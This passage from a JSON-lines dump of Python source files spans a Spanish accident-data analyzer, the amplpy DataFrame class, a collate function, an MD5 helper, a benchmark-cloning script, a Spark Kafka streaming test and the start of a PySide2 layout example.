newOffenseEntry(accident['Description'], accident)\n lt.addLast(entry['lstoffenses'], accident)\n m.put(offenseIndex, accident['Description'], entry)\n m.put(offenseIndexTime, accident['Description'], entry)\n elif offentryTime is None:\n entry = me.getValue(offentry)\n lt.addLast(entry['lstoffenses'], accident)\n m.put(offenseIndexTime, accident['Description'], entry)\n elif offentry is None:\n entry = newOffenseEntry(accident['Description'], accident)\n lt.addLast(entry['lstoffenses'], accident)\n m.put(offenseIndex, accident['Description'], entry)\n else:\n entry = me.getValue(offentry)\n lt.addLast(entry['lstoffenses'], accident)\n return datentry\n\ndef newDataEntry(accident):\n \"\"\"\n Crea una entrada en el indice por fechas, es decir en el arbol\n binario.\n \"\"\"\n entry = {'offenseIndex': None,'lstaccident': None}\n entry['offenseIndex'] = m.newMap(loadfactor = 3,\n numelements = 45000,\n maptype = 'CHAINING',\n comparefunction = compareOffenses)\n entry['offenseIndexTime'] = m.newMap(loadfactor = 3,\n numelements = 45000,\n maptype = 'CHAINING',\n comparefunction = compareOffenses)\n entry['lstaccident'] = lt.newList('SINGLE_LINKED', compareDates)\n return entry\n\ndef newOffenseEntry(offensegrp, accident):\n \"\"\"\n Crea una entrada en el indice por tipo de crimen, es decir en\n la tabla de hash, que se encuentra en cada nodo del arbol.\n \"\"\"\n ofentry = {'offense': None, 'lstoffenses': None}\n ofentry['offense'] = offensegrp\n ofentry['lstoffenses'] = lt.newList('SINGLELINKED', compareOffenses)\n return ofentry\n\n# ==============================\n# Funciones de consulta\n# ==============================\n\ndef accidentsSize(analyzer):\n \"\"\"\n Número de libros en el catago\n \"\"\"\n return lt.size(analyzer['accidents'])\n\ndef indexHeight(analyzer):\n \"\"\"Numero de autores leido\n \"\"\"\n return om.height(analyzer['dateIndex']),om.height(analyzer['timeIndex'])\n\ndef indexSize(analyzer):\n \"\"\"Numero de autores leido\n \"\"\"\n return om.size(analyzer['dateIndex']),om.size(analyzer['timeIndex'])\n\ndef minKey(analyzer):\n \"\"\"Numero de autores leido\n \"\"\"\n return om.minKey(analyzer['dateIndex'])\n\ndef maxKey(analyzer):\n \"\"\"Numero de autores leido\n \"\"\"\n return om.maxKey(analyzer['dateIndex'])\n\ndef getAccidentsByRange(analyzer, initialDate, finalDate):\n \"\"\"\n Retorna el numero de crimenes en un rago de fechas.\n \"\"\"\n lst = om.values(analyzer['dateIndex'], initialDate, finalDate)\n return lst\n\ndef getAccidentsByRangeCode(analyzer, initialDate, offensecode):\n \"\"\"\n Para una fecha determinada, retorna el numero de crimenes\n de un tipo especifico.\n \"\"\"\n accidentdate = om.get(analyzer['dateIndex'], initialDate)\n if accidentdate['key'] is not None:\n offensemap = me.getValue(accidentdate)['offenseIndex']\n numoffenses = m.get(offensemap, offensecode)\n if numoffenses is not None:\n return m.size(me.getValue(numoffenses)['lstoffenses'])\n return 0\n\n# ==============================\n# Funciones de requerimientos\n# ==============================\n\ndef accidentesPorHora(cont, time, anio): #REQ. 0.5\n cantidad = {'total': 0,'1':0,'2':0,'3':0,'4':0}\n for i in range(2016,2020):\n if str(i) in anio['anio'] or anio['anio'] == 0: \n data = om.get(cont[str(i)][0]['timeIndex'],time)\n values = me.getValue(data)['offenseIndexTime']\n accidents = m.valueSet(values)\n iterator = it.newIterator(accidents)\n while it.hasNext(iterator):\n data = it.next(iterator)['lstoffenses']\n cantidad['total'] += lt.size(data)\n siguiente = it.newIterator(data)\n while it.hasNext(siguiente):\n current = it.next(siguiente)\n severidad = current['Severity']\n cantidad[severidad] += 1\n return cantidad\n\n\ndef accidentesPorFecha(cont, date, anio): #REQ. 1\n cantidad = {'total': 0,'1':0,'2':0,'3':0,'4':0}\n for i in range(2016,2020):\n if cont[str(i)][0] != None:\n data = om.get(cont[str(i)][0]['dateIndex'],date)\n values = me.getValue(data)['offenseIndex']\n accidents = m.valueSet(values)\n iterator = it.newIterator(accidents)\n while it.hasNext(iterator):\n actual = it.next(iterator)['lstoffenses']\n cantidad['total'] += lt.size(actual)\n siguiente = it.newIterator(actual)\n while it.hasNext(siguiente):\n current = it.next(siguiente)\n severidad = current['Severity']\n cantidad[severidad] += 1\n return cantidad\n\ndef accidentesAnteriores (cont, date, anio): # REQ. 1\n cantidad = {'total': 0, 'fecha': {}}\n llaves = llavesHasta(cont, date)\n for i in range(2016,2020):\n if cont[str(i)][0] != None:\n iterator = it.newIterator(llaves[str(i)])\n while it.hasNext(iterator):\n numero = 0\n date = it.next(iterator)\n data = om.get(cont[str(i)][0]['dateIndex'],date)\n values = me.getValue(data)['offenseIndex']\n accidents = m.valueSet(values)\n iterator2 = it.newIterator(accidents)\n while it.hasNext(iterator2):\n actual = it.next(iterator2)['lstoffenses']\n cantidad['total'] += lt.size(actual)\n numero += lt.size(actual)\n cantidad['fecha'][date] = numero\n mayor = hallarMayorFecha(cantidad)\n return (cantidad['total'],mayor)\n\ndef accidentesEnUnRangoDeFecha(cont, initialDate, finalDate, anio): #O(N) REQ. 3\n llaves = llavesEnRango(cont, initialDate, finalDate, anio)\n cantidad = {'total': 0,'1':0,'2':0,'3':0,'4':0}\n total = 0\n for i in range(int(str(initialDate)[:4]),int(str(finalDate)[:4])+1):\n iterator = it.newIterator(llaves[str(i)])\n while it.hasNext(iterator):\n date = it.next(iterator)\n cantidades = accidentesPorFecha(cont, date, anio)\n total += cantidades['total']\n cantidad['1'] += cantidades['1']\n cantidad['2'] += cantidades['2']\n cantidad['3'] += cantidades['3']\n cantidad['4'] += cantidades['4']\n mayor = hallarMayorSeveridad(cantidad)\n return (total,mayor)\n\ndef conocerEstado (cont, initialDate, finalDate, anio): #REQ. 4\n llaves = llavesEnRango(cont, initialDate, finalDate, anio)\n cantidad = {'fecha': {}, 'state': {} }\n for i in range(int(str(initialDate)[:4]),int(str(finalDate)[:4])+1):\n iterator = it.newIterator(llaves[str(i)])\n while it.hasNext(iterator):\n numero = 0\n date = it.next(iterator)\n data = om.get(cont[str(i)][0]['dateIndex'],date)\n values = me.getValue(data)['offenseIndex']\n accidents = m.valueSet(values)\n iterator2 = it.newIterator(accidents)\n while it.hasNext(iterator2):\n actual = it.next(iterator2)['lstoffenses']\n numero += lt.size(actual)\n siguiente = it.newIterator(actual)\n while it.hasNext(siguiente):\n current = it.next(siguiente)\n state = current['State']\n if state not in cantidad['state']:\n cantidad['state'][state] = 1\n else: \n cantidad['state'][state] += 1\n cantidad['fecha'][date] = numero\n mayorFecha = hallarMayorFecha(cantidad)\n mayorState = hallarMayorState(cantidad)\n return (mayorFecha, mayorState)\n\ndef gradosAkilometros(x):\n y=og.degrees2kilometers(x)\n return y\ndef inRadio (radio,longitud,latitud, current):\n longitud = (float(gradosAkilometros2(str(longitud))))\n latitud = (float(gradosAkilometros2(str(latitud))))\n start_longitud = (float(gradosAkilometros2(current['Start_Lng'])))\n start_latitude = (float(gradosAkilometros2(current['Start_Lat'])))\n x=ma.hypot(start_longitud-longitud,start_latitude-latitud)\n return x<=float(radio)\n\ndef gradosAkilometros2(x):\n a=x.split('.')\n try:\n return str(a[0])+'.'+str(a[1])+str(a[2])\n except:\n return str(a[0])+'.'+str(a[1]) \ndef dentroDelRadio(radio, longitud, latitud, current):\n loc_lng = float(current['Start_Lng'].replace('.','')) # un grado=60 millas una milla = 1852 metros\n loc_lat = float(current['Start_Lat'].replace('.','')) \n extremo_y = latitud+radio\n extremo_x = longitud+radio \n if extremo_y >= loc_lat and extremo_x >= loc_lng:\n return True\n return False\ndef radioAgrados(radio):\n nuevo_radio=radio/111.12\n return nuevo_radio\n\ndef conocerZonaGeografica(cont, radio, longitud, latitud,anio):\n \"\"\"\n cont: analyzer\n Radio: En que se encuentran los accidentes\n longitud: coordenada\n latitud: coordenada\n centro=(latitud,longitud)\n\n \"\"\"\n cantidad = 0\n for i in range(2016,2020):\n\n if cont[str(i)][0] != None: \n shaves = om.keySet(cont[str(i)][0]['dateIndex'])\n iterator = it.newIterator(shaves)\n while it.hasNext(iterator):\n date = it.next(iterator)\n data = om.get(cont[str(i)][0]['dateIndex'],date)\n values = me.getValue(data)['offenseIndex']\n accidents = m.keySet(values)\n iterator2 = it.newIterator(accidents)\n while it.hasNext(iterator2):\n actual = m.get(values,it.next(iterator2))\n data = me.getValue(actual)['lstoffenses']\n siguiente = it.newIterator(data)\n while it.hasNext(siguiente):\n current = it.next(siguiente)\n if inRadio(radio, longitud, latitud, current) == True:\n cantidad += 1\n \n return cantidad\n\n# ==============================\n# Funciones de apoyo a requerimientos\n# ==============================\n\ndef llavesHasta(cont, date):\n llaves = {}\n for i in range(2016,2020):\n if cont[str(i)][0] != None:\n if str(i) not in str(date):\n llaves[str(i)] = om.keySet(cont['dateIndex'])\n else:\n initialDate = om.minKey(cont[str(i)][0]['dateIndex'])\n finalDate = om.floor(cont[str(i)][0]['dateIndex'],date)\n llaves[str(i)] = om.keys(cont[str(i)][0]['dateIndex'],initialDate,finalDate)\n break\n return llaves\n\ndef conocerHoras(cont, initialHour, finalHour, anio):\n shaves = om.keys(cont[anio['anio']][0]['timeIndex'],initialHour,finalHour)\n cantidad = {'total': 0,'1':0,'2':0,'3':0,'4':0}\n total = accidentsSize(cont[anio['anio']][0])\n iterator = it.newIterator(shaves)\n while it.hasNext(iterator):\n time = it.next(iterator)\n cantidades = accidentesPorHora(cont,time, anio)\n cantidad['total'] += cantidades['total']\n cantidad['1'] += cantidades['1']\n cantidad['2'] += cantidades['2']\n cantidad['3'] += cantidades['3']\n cantidad['4'] += cantidades['4']\n porcentaje = round(((cantidad['total'] * 100) / total),2)\n return (cantidad,porcentaje)\n\ndef llavesEnRango(cont, initialDate, finalDate, anio):\n llaves = {}\n if anio['type'] == 0:\n llaves[anio['anio']] = om.keys(cont[anio['anio']][0]['dateIndex'], initialDate, finalDate)\n else: \n for i in range(int(str(initialDate)[:4]),int(str(finalDate)[:4])+1):\n if str(i) in str(initialDate):\n mayor = om.maxKey(cont[str(i)][0]['dateIndex'])\n llaves[str(i)] = om.keys(cont[str(i)][0]['dateIndex'], initialDate, mayor)\n elif str(i) in str(finalDate):\n menor = om.minKey(cont[str(i)][0]['dateIndex'])\n llaves[str(i)] = om.keys(cont[str(i)][0]['dateIndex'], menor, finalDate)\n else:\n llaves[str(i)] = om.keySet(cont[str(i)][0]['dateIndex'])\n return llaves\n\ndef dentroDelRadio(cont, radio, longitud, latitud, current):\n loc_lng = float(current['Start_Lng'].replace('.',''))\n loc_lat = float(current['Start_Lat'].replace('.',''))\n extremo_y = latitud+radio\n extremo_x = longitud+radio\n if extremo_y >= loc_lat and extremo_x >= loc_lng:\n return True\n return False\n\ndef hallarMayorFecha(cantidad):\n mayor = ['',0]\n for i in cantidad['fecha']:\n if cantidad['fecha'][i] >= mayor[1]:\n mayor[0] = i\n mayor[1] = cantidad['fecha'][i]\n return mayor\n\ndef hallarMayorSeveridad(cantidad):\n mayor = ['',0]\n for i in cantidad:\n if cantidad[i] >= mayor[1]:\n mayor[0] = i\n mayor[1] = cantidad[i]\n return mayor\n\ndef hallarMayorState(cantidad):\n mayorState = ['',0]\n for i in cantidad['state']:\n if cantidad['state'][i] >= mayorState[1]:\n mayorState[0] = i\n mayorState[1] = cantidad['state'][i]\n return mayorState\n# ==============================\n# Funciones de Comparacion\n# ==============================\n\ndef compareIds(id1, id2):\n \"\"\"\n Compara dos crimenes\n \"\"\"\n if (id1 == id2):\n return 0\n elif id1 > id2:\n return 1\n else:\n return -1\n\ndef compareDates(date1, date2):\n \"\"\"\n Compara dos ids de libros, id es un identificador\n y entry una pareja llave-valor\n \"\"\"\n if (date1 == date2):\n return 0\n elif (date1 > date2):\n return 1\n else:\n return -1\n\ndef compareTime(time1, time2):\n \"\"\"\n Compara dos ids de libros, id es un identificador\n y entry una pareja llave-valor\n \"\"\"\n if (time1 == time2):\n return 0\n elif (time1 > time2):\n return 1\n else:\n return -1\n\ndef compareOffenses(offense1, offense2):\n \"\"\"\n Compara dos ids de libros, id es un identificador\n y entry una pareja llave-valor\n \"\"\"\n offense = me.getKey(offense2)\n if (offense1 == offense):\n return 0\n elif (offense1 > offense):\n return 1\n else:\n return -1\n","sub_path":"App/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":18860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"617007691","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function, absolute_import, division\nfrom builtins import map, range, object, zip, sorted\nfrom past.builtins import basestring\nfrom numbers import Real\n\nfrom .base import BaseClass\nfrom .utils import Utils, Tuple\nfrom .iterators import RowIterator, ColIterator\nfrom . import amplpython\ntry:\n import pandas as pd\nexcept ImportError:\n pd = None\ntry:\n import numpy as np\nexcept ImportError:\n np = None\n\n\nclass Row(BaseClass):\n \"\"\"\n Represents a row in a :class:`~amplpy.DataFrame`.\n \"\"\"\n\n def __init__(self, _impl):\n self._impl = _impl\n\n def __iter__(self):\n return RowIterator(self._impl)\n\n def __getitem__(self, key):\n return Utils.castVariantRef(self._impl.getIndex(key))\n\n def toString(self):\n return str(list(self))\n\n\nclass Column(BaseClass):\n \"\"\"\n Represents a column in a :class:`~amplpy.DataFrame`.\n \"\"\"\n\n def __init__(self, _impl):\n self._impl = _impl\n\n def __iter__(self):\n return ColIterator(self._impl)\n\n def toString(self):\n return str(list(self))\n\n\nclass DataFrame(BaseClass):\n \"\"\"\n A DataFrame object, used to communicate data to and from the AMPL entities.\n\n An object of this class can be used to do the following tasks:\n - Assign values to AMPL entities (once the DataFrame is populated, use\n :func:`~amplpy.AMPL.setData` to assign its values to the modelling entities\n in its columns)\n - Get values from AMPL, decoupling the values from the AMPL entities they\n originate via :func:`~amplpy.Entity.getValues`.\n\n A DataFrame object can be created in various ways.\n\n - Create a skeleton by specifiying manually the indexing columns and the\n column headers.\n - Get values from AMPL, decoupling the values from the AMPL entities they\n originate from (via :func:`~amplpy.Entity.getValues`).\n\n Populating a DataFrame object can be done adding row by row to a\n pre-existing skeleton via :func:`~amplpy.DataFrame.addRow`, setting whole\n columns of a pre-existing skeleton via :func:`~amplpy.DataFrame.setColumn`\n or adding columns (including indexing columns) via\n :func:`~amplpy.DataFrame.addColumn`.\n\n Modifying a DataFrame object can be done via\n :func:`~amplpy.DataFrame.setColumn` or, item by item, via\n :func:`~amplpy.DataFrame.setValue`.\n\n Accessing data in a DataFrame can be done row by row using\n :func:`~amplpy.DataFrame.getRow` or by column via\n :func:`~amplpy.DataFrame.getColumn`.\n \"\"\"\n\n def __init__(self, index, columns=tuple(), **kwargs):\n \"\"\"\n Create a new DataFrame with specifed index and column headers.\n\n Args:\n index: Index column;\n\n columns: Column headers.\n \"\"\"\n if index is not None:\n if isinstance(index, basestring):\n index = (index,)\n if isinstance(columns, basestring):\n columns = (columns,)\n index_names = [\n col[0] if isinstance(col, tuple) else col\n for col in index\n ]\n column_names = [\n col[0] if isinstance(col, tuple) else col\n for col in columns\n ]\n self._impl = amplpython.DataFrame.factory(\n len(index_names),\n list(index_names) + list(column_names),\n len(index_names) + len(column_names)\n )\n for col in index:\n if isinstance(col, tuple):\n self.setColumn(col[0], col[1])\n for col in columns:\n if isinstance(col, tuple):\n self.setColumn(col[0], col[1])\n else:\n self._impl = kwargs.get('_impl', None)\n\n def __iter__(self):\n # FIXME: C++ iterators for dataframes not working with SWIG.\n return (self.getRowByIndex(i) for i in range(self.getNumRows()))\n\n def getNumCols(self):\n \"\"\"\n Get the total number of columns in this dataframe (indexarity + number\n of values).\n\n Returns:\n The number of columns.\n \"\"\"\n return self._impl.getNumCols()\n\n def getNumRows(self):\n \"\"\"\n Get the number of data rows in this dataframe.\n\n Returns:\n The number of rows.\n \"\"\"\n return self._impl.getNumRows()\n\n def getNumIndices(self):\n \"\"\"\n Get the number of indices (the indexarity) of this dataframe.\n\n Returns:\n The number of indices needed to access one row of this dataframe.\n \"\"\"\n return self._impl.getNumIndices()\n\n def addRow(self, *value):\n \"\"\"\n Add a row to the DataFrame. The size of the tuple must be equal to the\n total number of columns in the dataframe.\n\n Args:\n value: A single argument with a tuple containing all the values\n for the row to be added, or multiple arguments with the values for\n each column.\n \"\"\"\n if len(value) == 1 and isinstance(value[0], (tuple, list)):\n value = value[0]\n assert len(value) == self.getNumCols()\n self._impl.addRow(Tuple(value)._impl)\n\n def addColumn(self, header, values=[]):\n \"\"\"\n Add a new column with the corresponding header and values to the\n dataframe.\n\n Args:\n header: The name of the new column.\n\n values: A list of size :func:`~amplpy.DataFrame.getNumRows` with\n all the values of the new column.\n \"\"\"\n if len(values) == 0:\n self._impl.addColumn(header)\n else:\n assert len(values) == self.getNumRows()\n if any(isinstance(value, basestring) for value in values):\n values = list(map(str, values))\n self._impl.addColumnStr(header, values)\n elif all(isinstance(value, Real) for value in values):\n values = list(map(float, values))\n self._impl.addColumnDbl(header, values)\n else:\n raise NotImplementedError\n\n def getColumn(self, header):\n \"\"\"\n Get the specified column as a view object.\n\n Args:\n header: The header of the column.\n \"\"\"\n return Column(self._impl.getColumn(header))\n\n def setColumn(self, header, values):\n \"\"\"\n Set the values of a column.\n\n Args:\n header: The header of the column to be set.\n\n values: The values to set.\n \"\"\"\n if any(isinstance(value, basestring) for value in values):\n values = list(map(str, values))\n self._impl.setColumnStr(header, values, len(values))\n elif all(isinstance(value, Real) for value in values):\n values = list(map(float, values))\n self._impl.setColumnDbl(header, values, len(values))\n else:\n print(values)\n raise NotImplementedError\n\n def getRow(self, key):\n \"\"\"\n Get a row by value of the indexing columns. If the index is not\n specified, gets the only row of a dataframe with no indexing columns.\n\n Args:\n key: Tuple representing the index of the desired row.\n\n Returns:\n The row.\n \"\"\"\n return Row(self._impl.getRow(Tuple(key)._impl))\n\n def getRowByIndex(self, index):\n \"\"\"\n Get row by numeric index.\n\n Args:\n index: Zero-based index of the row to get.\n\n Returns:\n The corresponding row.\n \"\"\"\n assert isinstance(index, int)\n return Row(self._impl.getRowByIndex(index))\n\n def getHeaders(self):\n \"\"\"\n Get the headers of this DataFrame.\n\n Returns:\n The headers of this DataFrame.\n \"\"\"\n headers = self._impl.getHeaders()\n return tuple(\n headers.getIndex(i) for i in range(self._impl.getNumCols())\n )\n\n def setValues(self, values):\n \"\"\"\n Set the values of a DataFrame from a dictionary.\n\n Args:\n values: Dictionary with the values to set.\n \"\"\"\n ncols = self.getNumCols()\n nindices = self.getNumIndices()\n for key, value in values.items():\n key = Utils.convToList(key)\n assert len(key) == nindices\n value = Utils.convToList(value)\n assert len(value) == ncols-nindices\n self.addRow(key + value)\n\n def toDict(self):\n \"\"\"\n Return a dictionary with the DataFrame data.\n \"\"\"\n d = {}\n nindices = self.getNumIndices()\n for i in range(self.getNumRows()):\n row = list(self.getRowByIndex(i))\n if nindices > 1:\n key = tuple(row[:nindices])\n elif nindices == 1:\n key = row[0]\n else:\n key = None\n if len(row) - nindices == 0:\n d[key] = None\n elif len(row) - nindices == 1:\n d[key] = row[nindices]\n else:\n d[key] = tuple(row[nindices:])\n return d\n\n def toList(self):\n \"\"\"\n Return a list with the DataFrame data.\n \"\"\"\n if self.getNumCols() > 1:\n return [\n tuple(self.getRowByIndex(i))\n for i in range(self.getNumRows())\n ]\n else:\n return [\n self.getRowByIndex(i)[0]\n for i in range(self.getNumRows())\n ]\n\n def toPandas(self):\n \"\"\"\n Return a pandas DataFrame with the DataFrame data.\n \"\"\"\n assert pd is not None\n nindices = self.getNumIndices()\n headers = self.getHeaders()\n columns = {\n header: list(self.getColumn(header))\n for header in headers[nindices:]\n }\n index = zip(*[\n list(self.getColumn(header))\n for header in headers[:nindices]\n ])\n index = [key if len(key) > 1 else key[0] for key in index]\n if index == []:\n return pd.DataFrame(columns, index=None)\n else:\n return pd.DataFrame(columns, index=index)\n\n @classmethod\n def fromDict(cls, dic, index_names=None, column_names=None):\n \"\"\"\n Create a :class:`~amplpy.DataFrame` from a dictionary.\n\n Args:\n dic: dictionary to load.\n index_names: index names to use.\n column_names: column names to use.\n \"\"\"\n assert isinstance(dic, dict)\n assert len(dic) != 0\n\n def to_tuple(e):\n if isinstance(e, (tuple, list)):\n return tuple(e)\n else:\n return (e,)\n\n lst_index = list(map(to_tuple, dic.keys()))\n lst_columns = list(map(to_tuple, dic.values()))\n nindices, ncolumns = len(lst_index[0]), len(lst_columns[0])\n assert index_names is None or nindices == len(index_names)\n assert column_names is None or ncolumns == len(column_names)\n assert all(len(k) == nindices for k in lst_index)\n assert all(len(v) == ncolumns for v in lst_columns)\n\n index = zip(*lst_index)\n columns = zip(*lst_columns)\n\n if index_names is None:\n index_names = ['index{}'.format(i) for i in range(nindices)]\n\n if column_names is None:\n column_names = ['value{}'.format(i) for i in range(ncolumns)]\n\n index = [\n (index_names[i], cindex)\n for i, cindex in enumerate(zip(*lst_index))\n ]\n columns = [\n (column_names[i], column)\n for i, column in enumerate(zip(*lst_columns))\n ]\n return cls(index=index, columns=columns)\n\n @classmethod\n def fromPandas(cls, df, index_names=None):\n \"\"\"\n Create a :class:`~amplpy.DataFrame` from a pandas DataFrame.\n\n Args:\n df: Pandas DataFrame to load.\n index_names: index names to use.\n \"\"\"\n assert pd is not None\n if isinstance(df, pd.Series):\n df = pd.DataFrame(df)\n else:\n assert isinstance(df, pd.DataFrame)\n keys = [\n key if isinstance(key, tuple) else (key,)\n for key in df.index.tolist()\n ]\n index = [\n ('index{}'.format(i), cindex)\n for i, cindex in enumerate(zip(*keys))\n ]\n if index_names is not None:\n assert len(index) == len(index_names)\n for i in range(len(index)):\n index[i] = (index_names[i], index[i][1])\n columns = [\n (str(cname), df[cname].tolist())\n for cname in df.columns.tolist()\n ]\n return cls(index=index, columns=columns)\n\n @classmethod\n def fromNumpy(cls, data):\n \"\"\"\n Create a :class:`~amplpy.DataFrame` from a numpy array or matrix.\n \"\"\"\n assert np is not None\n if isinstance(data, np.ndarray):\n index = []\n if len(data.shape) == 1:\n columns = [('value', data.tolist())]\n elif len(data.shape) == 2:\n columns = [\n ('c{}'.format(i), col)\n for i, col in enumerate(zip(*data.tolist()))\n ]\n else:\n raise TypeError\n else:\n raise TypeError\n return cls(index=index, columns=columns)\n\n @classmethod\n def _fromDataFrameRef(cls, dfRef):\n return cls(None, None, _impl=dfRef)\n","sub_path":"amplpy/dataframe.py","file_name":"dataframe.py","file_ext":"py","file_size_in_byte":13510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"633971932","text":"def default_collate(batch):\n 'Puts each data field into a tensor with outer dimension batch size'\n if torch.is_tensor(batch[0]):\n return torch.stack(batch, 0)\n elif (type(batch[0]).__module__ == 'numpy'):\n return torch.stack([torch.from_numpy(b) for b in batch], 0)\n elif isinstance(batch[0], int):\n return torch.LongTensor(batch)\n elif isinstance(batch[0], float):\n return torch.DoubleTensor(batch)\n elif isinstance(batch[0], string_classes):\n return batch\n elif isinstance(batch[0], collections.Iterable):\n transposed = zip(*batch)\n return [default_collate(samples) for samples in transposed]\n raise TypeError('batch must contain tensors, numbers, or lists; found {}'.format(type(batch[0])))","sub_path":"Data Set/bug-fixing-5/476d85dd3f8ee48f6affc836d5c7fbd8ccfab200--bug.py","file_name":"476d85dd3f8ee48f6affc836d5c7fbd8ccfab200--bug.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"195140846","text":"# -*- coding: UTF-8 -*-\n\nimport sys\nimport os\n\nimport hashlib\n\nclass MD5Utils(object):\n\n @classmethod\n def md5(cls, szText):\n m = hashlib.md5()\n m.update(szText.encode(\"utf8\"))\n # print(m.hexdigest())\n return m.hexdigest()\n\n @classmethod\n def md5_file(cls, szFilePath):\n if not os.path.isfile(szFilePath):\n return \"\"\n\n myhash = hashlib.md5()\n f = open(szFilePath, 'rb')\n\n while True:\n b = f.read(8096)\n if not b:\n break\n\n myhash.update(b)\n\n f.close()\n return myhash.hexdigest()\n\n\n# print(MD5Utils.md5(\"123456\").lower())\n# print(MD5Utils.md5_file(\"log.py\"))\n","sub_path":"pythinkutils/common/MD5Utils.py","file_name":"MD5Utils.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"269474185","text":"# Script to clone a specific python script and rename it \nfrom shutil import copyfile\nimport sys\nimport os\n\ndef manipulate_the_new_script(newscript,destination,n1,n2):\n list_of_lines = newscript.readlines()\n list_of_lines[69] = \" n = \" + n1 + \"\\n\"\n list_of_lines[97] = \" n = \" + n2 + \"\\n\"\n newscript = open(destination, \"w\")\n newscript.writelines(list_of_lines)\n newscript.close()\n\n\ndef main(argv):\n n1 = sys.argv[1]\n n2 = sys.argv[2]\n source = \"/home/giannos/Desktop/scikit-learn/benchmarks/bench_tree.py\"\n destination = \"/home/giannos/Desktop/scikit-learn/benchmarks/bench_tree_n1_\"+ n1 + \"_n2_\"+ n2 + \".py\"\n copyfile(source, destination)\n\n # Manipulate the new script - Open it and send it\n new_script = open(destination, \"r\")\n manipulate_the_new_script(new_script, destination,n1,n2)\n new_script.close()\n os.system(\"python3 bench_tree_n1_\"+ n1 + \"_n2_\"+ n2 + \".py\")\n print (\"################### bench_tree_n1_\"+ n1 + \"_n2_\"+ n2 + \".py ###################\" )\n\n\nif __name__ == \"__main__\":\n main(sys.argv[2:])\n \n","sub_path":"benchmarks/clone_and_modify.py","file_name":"clone_and_modify.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"82611463","text":"# (C) Datadog, Inc. 2022-present\n# All rights reserved\n# Licensed under a 3-clause BSD style license (see LICENSE)\nclass AppEnvVars:\n REPO = 'DDEV_REPO'\n INTERACTIVE = 'DDEV_INTERACTIVE'\n QUIET = 'DDEV_QUIET'\n VERBOSE = 'DDEV_VERBOSE'\n # https://no-color.org\n NO_COLOR = 'NO_COLOR'\n FORCE_COLOR = 'DDEV_COLOR'\n\n\nclass ConfigEnvVars:\n CONFIG = 'DDEV_CONFIG'\n\n\nclass VerbosityLevels:\n ERROR = -2\n WARNING = -1\n INFO = 0\n DEBUG = 1\n TRACE = 2\n","sub_path":"ddev/src/ddev/config/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"574085741","text":"# -*- coding:utf8 -*-\nimport findspark\n\nfindspark.init(spark_home=\"/usr/hdp/current/spark2-client/\", python_path=\"/root/anaconda2/bin/python\")\n\nfrom pyspark.sql import SparkSession\nimport json\nfrom pyspark.streaming.kafka import KafkaUtils, TopicAndPartition\nfrom pyspark.streaming import StreamingContext\n\n\ndef get_spark(master=\"yarn\", memory=\"1g\", local_dir=\"/tmp\", app_name=\"preporcess\", queue=\"default\", engine_id=\"asdf\"):\n msg = \"Please Note..... \\n spark up.\"\n '''\n 创建spark content\n\n 输入:\n master: spark 运行模式\n memory: spark 执行节点的内存\n local_dir: spark的本地目录位置 需要容量较大\n 输出:\n spark content\n '''\n spark = SparkSession.builder.appName(app_name).master(\"yarn\").config(\n \"spark.shuffle.service.enabled\", True\n ).config(\n \"spark.executor.instances\", 2\n ).config(\n \"spark.executor.cores\", 2\n ).config(\"spark.driver.memory\", \"1G\"\n ).config(\n \"spark.executor.memory\", \"1G\"\n ).config(\n \"spark.shuffle.memoryFraction\", \"0.6\"\n ).config(\n \"spark.default.parallelism\", 400\n ).config(\n \"spark.local.dir\", \"/tmp\"\n ).config(\n \"spark.driver.maxResultSize\", \"5G\"\n ).config(\n \"spark.yarn.queue\", \"http_project\"\n ).config(\n \"spark.streaming.kafka.maxRatePerPartition\", 100\n ).getOrCreate()\n\n print(\"create spark session\", spark.sparkContext.master)\n print(msg)\n return spark\n\ndef get_direct_kafka(ssc):\n # zookeeper=\"hdp2.buptnsrc.com:2181,hdp4.buptnsrc.com:2181,hdp1.buptnsrc.com:2181\"\n # groupid=\"test-consumer-lwh-group\"\n # topics={\"test_kafka_flume_hbase_lwh\":0,\"test_kafka_flume_hbase_lwh\":1}\n # lines=KafkaUtils.createStream(ssc=ssc,topics=topics,groupId=groupid,zkQuorum=zookeeper)\n # return lines\n kafkaParams = {\"metadata.broker.list\": \"hdp2.buptnsrc.com:6667,hdp4.buptnsrc.com:6667,hdp5.buptnsrc.com:6667\"}\n topic = [\"test_first\"]\n lines = KafkaUtils.createDirectStream(ssc, topic, kafkaParams)\n return lines\n\n\ndef process(row):\n return 0\n\n\nif __name__ == '__main__':\n print(\"11122\")\n # 获取到spark session\n spark = get_spark(master=\"yarn\", app_name=\"kafka-test-yangkun1\", queue=\"default\")\n sc = spark.sparkContext\n # 处理时间间隔为2s\n ssc = StreamingContext(sc, 30)\n print(\"333\")\n\n lines = get_direct_kafka(ssc)\n\n # lines=get_kafka(ssc)\n\n lines.foreachRDD(process)\n line = lines.flatMap(lambda x: x[1].split(' '))\n res = line.map(lambda x: (x, 1)).reduceByKey(lambda a, b: a + b)\n print(type(lines))\n print(\"------------------ start ---------------\")\n res.pprint()\n print(\"------------------- finish --------------------!!!\")\n\n ssc.start()\n ssc.awaitTermination()","sub_path":"kafka/code/kafkaDemo/kafkatest.py","file_name":"kafkatest.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"213441139","text":"from PySide2.QtCore import Qt\nfrom PySide2.QtWidgets import QApplication, QMainWindow, QHBoxLayout, QWidget\n\nfrom layout_colorwidget import Color\n\n\n# subclass the QMainWindow to customize the application's main window\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n\n self.setWindowTitle(\"My App\")\n\n layout = 